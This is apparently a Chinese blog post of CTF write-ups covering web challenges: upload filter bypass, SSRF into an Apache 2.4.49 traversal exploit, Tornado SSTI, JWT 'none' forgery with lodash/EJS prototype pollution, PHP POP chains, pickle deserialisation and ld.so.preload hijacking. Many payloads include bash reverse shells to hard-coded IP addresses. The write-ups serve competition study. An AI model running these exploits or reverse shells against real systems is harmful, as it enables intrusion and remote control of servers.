赞
踩
今天周日,有点无聊没事干,写篇博客来解解闷,最近因为要参加CTF比赛,所以这周也是要找点题目练练手,找找感觉,于是之前做了下NSSCTF二周年的CTF题目,对部分印象深刻的题目做一下记录,顺带也记录下昨天羊城杯的部分题目。
进入题目就直接给出了源码
<?php function waf($filename){ $black_list = array("ph", "htaccess", "ini"); $ext = pathinfo($filename, PATHINFO_EXTENSION); foreach ($black_list as $value) { if (stristr($ext, $value)){ return false; } } return true; } if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $content = file_get_contents($_FILES['file']['tmp_name']); if(waf($filename)){ file_put_contents($filename, $content); } else { echo "Please re-upload"; } } else{ highlight_file(__FILE__); }
这题看似上了waf,把能够造成敏感文件的php、配置文件等都给搬掉了,但是这里使用了file_put_contents()以及urlencode,当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。
进入会发现是一个空白页面,但是上方出现了一个参数url,并且发现是Python的Web端,file协议读取到了源码
from flask import Flask, request, redirect import requests, socket, struct from urllib import parse app = Flask(__name__) @app.route('/') def index(): if not request.args.get('url'): return redirect('/?url=dosth') url = request.args.get('url') if url.startswith('file://'): with open(url[7:], 'r') as f: return f.read() elif url.startswith('http://localhost/'): return requests.get(url).text elif url.startswith('mybox://127.0.0.1:'): port, content = url[18:].split('/_', maxsplit=1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('127.0.0.1', int(port))) s.send(parse.unquote(content).encode()) res = b'' while 1: data = s.recv(1024) if data: res += data else: break return res return '' app.run('0.0.0.0', 827)
这里出现了一个mybox开头的协议,就会自动取出后面的数据使用socket流自动发送到某个端口,可以尝试通过socket发送到80端口,看看能够探测出什么,会发现是Apache2.4.49,而这个环境是存在一个目录穿越导致命令执行的CVE的,直接打就能getshell。
import urllib.parse
payload=\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:53
bash -c 'bash -i >& /dev/tcp/120.79.29.170/4444 0>&1'
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result='mybox://127.0.0.1:80/_'+urllib.parse.quote(new)
print(result)
一道Tornado的SSTI注入题目,直接给出了源码:
import tornado.ioloop import tornado.web import os BASE_DIR = os.path.dirname(__file__) def waf(data): bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'] for c in bl: if c in data: return False for chunk in data.split(): for c in chunk: if not (31 < ord(c) < 128): return False return True class IndexHandler(tornado.web.RequestHandler): def get(self): with open(__file__, 'r') as f: self.finish(f.read()) def post(self): data = self.get_argument("ssti") if waf(data): with open('1.html', 'w') as f: f.write(f""" {data} """) f.flush() self.render('1.html') else: self.finish('no no no') if __name__ == "__main__": app = tornado.web.Application([ (r"/", IndexHandler), ], compiled_template_cache=False) app.listen(827) tornado.ioloop.IOLoop.current().start()
这里过滤的东西还是比较关键的,所以一般的常规payload都无法使用,但是漏了一个最简单的payload,并且环境变量中的flag的值也没有去掉,所以可以直接读取环境变量得到flag,{% include /proc/1/environ %}
题解上面有某位师傅的WP,也是比较深刻,记录一下,主要原理是Tornado模板在渲染时会执行__tt_utf8(__tt_tmp) 这样的函数,所以将__tt_utf8设置为eval,然后将__tt_tmp设置为了从POST方法中接收的字符串导致了RCE。
{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
一道ejs的lodash原型链渲染题目,lodash原型链渲染没有去调试过,所以不太清楚,但是这里的jwt模块的verify存在的缺陷倒是比较审核,主要原因是verify中的algorithms参数必须为数组的形式,当algorithms没有被指定的时候即为none,可以空密钥,所以这里只需要传入一个空的secretid,使得secret找到的结果为null或者undefined,在verify的时候就能够直接绕掉认证进入到nss用户的页面,不过在查看自己的jwttoken版本的时候,这种情况似乎已经不能够使用了,当参数不为数组的时候,会自动触发报错。
const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const session = require('express-session'); const randomize = require('randomatic'); const jwt = require('jsonwebtoken') const crypto = require('crypto'); const fs = require('fs'); global.secrets = []; express() .use(bodyParser.urlencoded({extended: true})) .use(bodyParser.json()) .use('/static', express.static('static')) .set('views', './views') .set('view engine', 'ejs') .use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true })) .get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') } }) .get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename)); }) .all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } } }) .all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); } }) .all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null }) }) .post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home'); }) .listen(827, '0.0.0.0')
const jwt = require('jsonwebtoken');
var payload = {
secretid: [],
username: 'nss',
password: 'nssctf',
"iat":1693548684
}
var token = jwt.sign(payload, undefined, {algorithm: 'none'});
console.log(token)
伪造成进入之后,找一个payload直接打就能够反弹shell
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.143.203.166/2333 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}
至于具体怎么污染的,到时候搭个环境调试下看看。
一道安卓的简单逆向,使用frida hook改变变量的输入即可获得flag,感觉挺有意思,这是源码,点击start和stop的两个按钮,计算秒数,如果刚好是66.666s,则会输出flag。
package com.moible.r15; import android.content.Context; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; import androidx.appcompat.app.AppCompatActivity; import java.util.Timer; import java.util.TimerTask; public class main extends AppCompatActivity { private TextView info; private Button start; private Boolean started = Boolean.valueOf(false); private Button stop; private int success = 0; private Timer timer; private TimerTask timerTask; private Toast ts; String getit(String paramString) { int[] arrayOfInt2 = new int[64]; int i; for (i = 0; i < 64; i++) arrayOfInt2[i] = (int)(long)(Math.abs(Math.sin((i + 1))) * 4.294967296E9D); byte[] arrayOfByte2 = paramString.getBytes(); int j = arrayOfByte2.length; int k = (j + 8 >>> 6) + 1; int m = k << 6; byte[] arrayOfByte3 = new byte[m]; System.arraycopy(arrayOfByte2, 0, arrayOfByte3, 0, j); arrayOfByte3[j] = Byte.MIN_VALUE; long l = j; for (i = 0; i < 8; i++) arrayOfByte3[m - 8 + i] = (byte)(int)(l * 8L >>> i * 8); int[] arrayOfInt3 = new int[4]; arrayOfInt3[0] = -1732584194; arrayOfInt3[1] = -271733879; arrayOfInt3[2] = 271733878; arrayOfInt3[3] = 1732584193; byte b = 0; int[] arrayOfInt1 = arrayOfInt2; while (b < k) { arrayOfInt2 = new int[16]; for (i = 0; i < 16; i++) { m = (b << 6) + (i << 2); arrayOfInt2[i] = arrayOfByte3[m] & 0xFF | (arrayOfByte3[m + 1] & 0xFF) << 8 | (arrayOfByte3[m + 2] & 0xFF) << 16 | (arrayOfByte3[m + 3] & 0xFF) << 24; } int n = arrayOfInt3[0]; int i1 = arrayOfInt3[1]; m = arrayOfInt3[2]; i = arrayOfInt3[3]; byte b1 = 0; while (true) { int i2 = m; if (b1 < 64) { int i3; if (b1 < 16) { m = (i1 ^ 0xFFFFFFFF) & i | i1 & i2; i3 = b1; } else { m = i; if (b1 < 32) { m = m & i1 | (m ^ 0xFFFFFFFF) & i2; i3 = (b1 * 5 + 1) % 16; } else if (b1 < 48) { m = i1 ^ i2 ^ m; i3 = (b1 * 3 + 5) % 16; } else { m = (m ^ 0xFFFFFFFF | i1) ^ i2; i3 = b1 * 7 % 16; } } int i4 = i1; i1 += Integer.rotateLeft(n + m + arrayOfInt2[i3] + arrayOfInt1[b1], 7); n = i; b1++; i = i2; m = i4; continue; } arrayOfInt3[0] = arrayOfInt3[0] + n; arrayOfInt3[1] = arrayOfInt3[1] + i1; arrayOfInt3[2] = arrayOfInt3[2] + i2; arrayOfInt3[3] = arrayOfInt3[3] + i; b++; } } byte[] arrayOfByte1 = new byte[16]; for (i = 0; i < 4; i++) { arrayOfByte1[i * 4] = (byte)(arrayOfInt3[i] & 0xFF); arrayOfByte1[i * 4 + 1] = (byte)(arrayOfInt3[i] >>> 8 & 0xFF); arrayOfByte1[i * 4 + 2] = (byte)(arrayOfInt3[i] >>> 16 & 0xFF); arrayOfByte1[i * 4 + 3] = (byte)(arrayOfInt3[i] >>> 24 & 0xFF); } StringBuilder stringBuilder = new StringBuilder(); for (i = 0; i < arrayOfByte1.length; i++) { stringBuilder.append(String.format("%02x", new Object[] { Integer.valueOf(arrayOfByte1[i] & 0xFF) })); } return stringBuilder.toString(); } protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(R.layout.hello); this.stop = (Button)findViewById(R.id.stop); this.start = (Button)findViewById(R.id.start); this.info = (TextView)findViewById(R.id.info); this.start.setOnClickListener(new View.OnClickListener() { final main this$0; public void onClick(View param1View) { main.this.start.setEnabled(false); main.access$102(main.this, Boolean.valueOf(true)); main.access$202(main.this, new Timer()); main.access$302(main.this, new TimerTask() { Double cnt = Double.valueOf(0.0D); final main.null this$1; public void run() { TextView textView = main.this.info; Double double_ = this.cnt; this.cnt = Double.valueOf(double_.doubleValue() + 1.0D); textView.setText(String.format("%.3fs", new Object[] { Double.valueOf(double_.doubleValue() / 1000.0D) })); } }); main.this.timer.scheduleAtFixedRate(main.this.timerTask, 0L, 1L); } }); this.stop.setOnClickListener(new View.OnClickListener() { final main this$0; public void onClick(View param1View) { if (!main.this.timerTask.cancel()) { main.this.timerTask.cancel(); main.this.timer.cancel(); } main.this.start.setEnabled(true); if (main.this.info.getText() == "66.666s") { main main1 = main.this; Context context = main1.getBaseContext(); StringBuilder stringBuilder = (new StringBuilder()).append("flag{"); main main2 = main.this; main.access$502(main1, Toast.makeText(context, stringBuilder.append(main2.getit((String)main2.info.getText())).append("}").toString(), 1)); } else { main main1 = main.this; main.access$502(main1, Toast.makeText(main1.getBaseContext(), ", 1)); } main.this.ts.show(); } }); } }
直接启动frida,改变掉getit函数输入的值,获取输出值即可获取到flag。
这是一道CVE的题目,当PHP<=7.4.21时通过php -S开起的WEB服务器存在源码泄露漏洞,刚好爆破目录给了start.sh让你看到了php -S启动,使用类似于走私攻击似的请求就可以读取到p0p的源码,然后需要构造反序列化链造成RCE。
GET /p0p.php HTTP/1.1
Host:xxx.com
GET / HTTP/1.1
源码如下:
<?php class Pro{ private $exp; private $rce2; public function __get($name) { return $this->$rce2=$this->exp[$rce2]; } } class Yang { public function __call($name, $ary) { if ($this->key === true || $this->finish1->name) { if ($this->finish->finish) { call_user_func($this->now[$name], $ary[0]); } } } public function ycb() { $this->now = 0; return $this->finish->finish; } public function __wakeup() { $this->key = True; } } class Cheng { private $finish; public $name; public function __get($value) { return $this->$value = $this->name[$value]; } } class Bei { public function __destruct() { if ($this->CTF->ycb()) { $this->fine->YCB1($this->rce, $this->rce1); } } public function __wakeup() { $this->key = false; } } function prohib($a){ $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i"; return preg_replace($filter,'',$a); } $a = $_POST["CTF"]; if (isset($a)){ echo 1; unserialize(prohib($a)); } ?>
简单的pop链互相赋值到call_user_func中,入口点在Bei类的__destruct()中,整条链为Bei__destruct()->Yang_ycb()->Cheng__get()使得$this->finish->finish为1,然后通过 t h i s − > f i n e − > Y C B 1 触发 Y a n g _ c a l l ( ) ,传入 n o w 中的 n a m e 为 s h o w s o u r c e 或 h i g h l i g h t f i l e , this->fine->YCB1触发Yang\__call(),传入now中的name为show_source或highlight_file, this−>fine−>YCB1触发Yang_call(),传入now中的name为showsource或highlightfile,this->rce值赋值为flag的位置/tmp/catcatf1ag.txt。
整个payloda如下:
<?php error_reporting(E_ALL); ini_set('display_errors', 1); class Pro { private $exp; private $rce2; public function __get($name) { return $this->$rce2 = $this->exp[$rce2]; } } class Yang { public function __call($name, $ary) { if ($this->key === true || $this->finish1->name) { if ($this->finish->finish) { #cheng->finish=['finish' => 1]; echo "Yang __call<br>"; call_user_func($this->now[$name], $ary[0]); } } } public function ycb() { $this->now = 0; return $this->finish->finish; #this->finsh=new Cheng(); } public function __wakeup() { $this->key = True; } } class Cheng { public $name; public function __get($value) { return $this->$value = $this->name[$value]; } } class Bei { public function __destruct() { if ($this->CTF->ycb()) { # this->CTF=new Yang() $this->fine->YCB1($this->rce, $this->rce1); #this->fine=new Yang(); } } public function __wakeup() { $this->key = false; } } $bei = new Bei; $yang = new Yang; $cheng = new Cheng; $yangfine = new Yang; $bei->CTF = $yang; $cheng->name = ['finish' => 1]; $yang->finish = $cheng; $yangfine->key = true; $yangfine->finish = $cheng; $yangfine->now = ['YCB1' => 'highlight_file']; $bei->rce = '/tmp/catcatf1ag.txt'; $bei->fine = $yangfine; echo serialize($bei);
一道解压tar的任意文件覆盖+yaml的题目,给出了源码:
import tarfile from flask import Flask, render_template, request, redirect from hashlib import md5 import yaml import os import re app = Flask(__name__) def waf(s): flag = True blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply'] for no in blacklist: if no.lower() in str(s).lower(): flag= False print(no) break return flag def extractFile(filepath, type): extractdir = filepath.split('.')[0] if not os.path.exists(extractdir): os.makedirs(extractdir) if type == 'tar': tf = tarfile.TarFile(filepath) tf.extractall(extractdir) return tf.getnames() @app.route('/', methods=['GET']) def main(): fn = 'uploads/' + md5().hexdigest() if not os.path.exists(fn): os.makedirs(fn) return render_template('index.html') @app.route('/upload', methods=['GET', 'POST']) def upload(): if request.method == 'GET': return redirect('/') if request.method == 'POST': upFile = request.files['file'] print(upFile) if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None: return "<script>alert('Hacker!');window.location.href='/upload'</script>" savePath = f"uploads/{upFile.filename}" print(savePath) upFile.save(savePath) if tarfile.is_tarfile(savePath): zipDatas = extractFile(savePath, 'tar') return render_template('result.html', path=savePath, files=zipDatas) else: return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>" @app.route('/src', methods=['GET']) def src(): if request.args: username = request.args.get('username') with open(f'config/{username}.yaml', 'rb') as f: Config = yaml.load(f.read()) return render_template('admin.html', username="admin", message="success") else: return render_template('index.html') if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
通过tarfile.TarFile(filepath)和tf.extractall(extractdir)我们可以把压缩了恶意yaml文件的压缩包上传到config目录下,通过/src触发yaml.loads()触发RCE即可。
一道session伪造和pickle反序列化的题目,过滤了R指令,还有很多指令都可以使用。
from flask import Flask, session from secret import secret @app.route('/verification') def verification(): try: attribute = session.get('Attribute') if not isinstance(attribute, dict): raise Exception except Exception: return 'Hacker!!!' if attribute.get('name') == 'admin': if attribute.get('admin') == 1: return secret else: return "Don't play tricks on me" else: return "You are a perfect stranger to me" if __name__ == '__main__': app.run('0.0.0.0', port=80)
直接伪造session得到访问的路径为/ppppppppppick1e
import hashlib import random from flask.json.tag import TaggedJSONSerializer from itsdangerous import * secret='GWHTVdkhc1btrq' session = { "Attribute": { "admin": 1, "name": "admin", "secret_key": "GWHTVdkhc1btrq" } } print(URLSafeTimedSerializer(secret_key=secret, salt='cookie-session', serializer=TaggedJSONSerializer(), signer_kwargs={ 'key_derivation': 'hmac', 'digest_method': hashlib.sha1 } ).dumps(session))
然后使用使用payload替换掉Cookie中的pickle的值,反弹shell即可。
import base64
p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/120.79.29.170/6666 0>&1\"'\no"
print(base64.b64encode(p))
最后发现python3.8是SUID文件,使用python3.8进行提权即可读取到flag。
这道题也许久才补上的,原因是因为某道题唤醒是这道题的记忆,在一直坚持的搜索类似例题下,最终也是学习了这个知识,因此补上。
这是题目源码:
# 导入所需模块 import uuid # 用于生成唯一标识符 from flask import * # 导入 Flask 框架的相关模块 from werkzeug.utils import * # 导入 Werkzeug 工具类的相关模块 # 创建 Flask 应用实例 app = Flask(__name__) # 设置应用的 SECRET_KEY app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "*") + "Boogipopisweak" # 定义根路径的路由和视图函数 @app.route('/') def index(): # 获取名为 "name" 的查询参数,如果不存在则使用默认值 "name" name = request.args.get("name", "name") # 获取名为 "m1sery" 的查询参数,如果不存在则使用默认值 "Doctor.Boogipop",并将其放入列表中 m1sery = [request.args.get("m1sery", "Doctor.Boogipop")] if session.get("name") == "Dr.Boog1pop": # 对 "name" 执行黑名单检查,使用正则表达式查找潜在的恶意字符 blacklist = re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE) if blacklist: return "bad hacker no way" # 如果检测到黑名单字符,返回拒绝访问消息 # 执行一段动态生成的代码,此处使用了 f-string exec(f'for [{name}] in [{m1sery}]:print("strange?")') else: session['name'] = "Doctor" # 如果会话中的 "name" 不是 "Dr.Boog1pop",将其设置为 "Doctor" return render_template("index.html", name=session.get("name")) # 定义 "/read" 路由,用于读取文件 @app.route('/read') def read(): # 获取名为 "file" 的查询参数,表示要读取的文件名 file = request.args.get('file') # 对文件名进行黑名单检查,使用正则表达式查找潜在的恶意字符 fileblacklist = re.findall("/flag|fl|ag/", file, re.IGNORECASE) if fileblacklist: return "bad hacker!" # 如果检测到黑名单字符,返回拒绝访问消息 # 获取名为 "start" 和 "end" 的查询参数,表示文件读取的起始位置和结束位置 start = request.args.get("start", "0") end = request.args.get("end", "0") if start == "0" and end == "0": # 如果起始位置和结束位置均为 0,则读取整个文件内容,并以二进制形式返回 return open(file, "rb").read() else: # 否则,将起始位置和结束位置转换为整数,并按照指定位置读取文件内容 start, end = int(start), int(end) f = open(file, "rb") f.seek(start) data = f.read(end) return data # 返回读取到的数据 # 定义动态路由,用于渲染页面,动态路由的路径参数是 "path" @app.route("/<path:path>") def render_page(path): # 检查是否存在名为 "templates/" + path 的文件 if not os.path.exists("templates/" + path): return "not found", 404 # 如果文件不存在,返回 404 错误 # 渲染指定路径的模板 return render_template(path) # 如果该脚本直接运行,启动 Flask 应用 if __name__ == '__main__': app.run( debug=False, # 关闭调试模式 host="0.0.0.0" # 监听所有可用的网络接口 ) print(app.config['SECRET_KEY']) # 打印应用的 SECRET_KEY
首先这里很明显要解决的一个点是关于伪造Session要知道SECRET_KEY的问题,这里出题人很明显的一个意图就是给了一个文件读取,并且是通过指针来读的,所以就意味着在引导往其它方向读取这个Key,比如说内存,所以找到了攻防世界中catcatweb的例题,正是这个考点,通过读取/proc/self/maps读取出内存的地址,然后读取/proc/self/mem中的内存到读取SECRET_KEY
脚本如下:
import re import requests map_list=open('test.txt').read() list=map_list.split('\n') print(list) # list=[] # for i in map_list: # list.append(i.strip('\n')) # print(map_list) for line in list: if 'rw' in line: addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line) start = int(addr.group(1), 16) end = int(addr.group(2), 16) end=end-start print(start, end) url = f"http://120.79.29.170:22222/read?file=/proc/self/mem&start={start}&end={end}" # 使用start和end参数读取mem response = requests.get(url) print(response.status_code) secret_key = re.findall("[a-z0-9*]{36}Boogipopisweak", response.text) if secret_key: print(secret_key)
读取到key伪造了Session之后,要解决的另外一个问题就是如果读取flag,起初是绕这里的过滤绕了很久很久,依旧是没成功,本来是想着通过RCE的方式去读取flag,只需要闭合掉for就能够进行命令执行,就比如说以下的形式:
name='name] in [[name]]:print(1)\nimport os\nos.system("whoami")#'
m1sery=['test']
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
但是题目把我这里想到的都给过滤掉了,包括左括号右括号,所以不由得是不是方向本身就错了,直至不断的百度,搜到了说这里是通过污染os.path.pardir来进行目录穿越,才恍然大悟。
具体可参考文章:python原型链污染
通过变量覆盖的方式,将os.path.pardir覆盖为任意字符,影响flask的模板渲染函数render_template的解析,使得在template解析的时候阻止目录穿越判断的
..
字符不生效,不发生报错,最终导致目录穿越。
至于这里关于OS的绕过,与Python3支持非ASCII码字符有关,可以通过unicodedata
输出类似的字符,寻找类似的字符,在Python处理的时候会当成相近字符串处理,比如说os.system("whoami")会处理成
os.system(‘whoami’)`
import unicodedata
for codepoint in range(0x10FFFF):
char = chr(codepoint)
if unicodedata.category(char)[0] == "L" or char == "_" or char == "$" or char == "@":
print(char, end="")
eval('os.system("whoami")')
Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这题整与/etc/ld.so.preload配置文件的劫持有关。
首先伪造恶意的ld.so.preload文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__((constructor)) void payload1(){
remove("/etc/ld.so.preload");
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
//gcc payload.c -o payload.so -shared -fPIC
然后再构造上传ld.so.preload指向我们的payload.so文件,最后ls命令直接触发即可。
大致的exp应该是这样,因为是队伍大佬出的,所以不确定
import requests url = '' def upload_so(): upload = url + 'upload.php' data = {"submit": "Upload"} files = { 'fileToUpload': ('payload.so', open("./payload.so", "rb"), 'application/octet-stream') } response = requests.post(url=upload, data=data, files=files) print(response.text) def upload_preload(): upload = url + 'upload.php' data = {"submit": "Upload"} files = { 'fileToUpload': ('/etc/ld.so.preload', open("./ld.so.preload", "rb"), 'application/octet-stream') } response = requests.post(url=upload, data=data, files=files) print(response.text) def ls(): ls = url + 'list.php' data = {"command": "ls"} response = requests.post(url=ls, data=data) print(response.text) upload_so() upload_preload() ls()
这道题也比较有意思,也我是第一次接触这样子的题目,是Windows的一个桌面截图文件,通过维吉尼亚给了提示。
修复宽高,得到
尾部有多余的数据,提取出来,是一个压缩包,里面给了一个txt文件。
尝试维吉尼亚爆破,可以得到提示sinppingtools。
github上面查找工具可以构造出原图。
以上是本周自己觉得值得记录下来的一些题目,也是让我再一次感受到了CTF比赛的氛围,也是希望CTF能够慢慢成为一种爱好。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。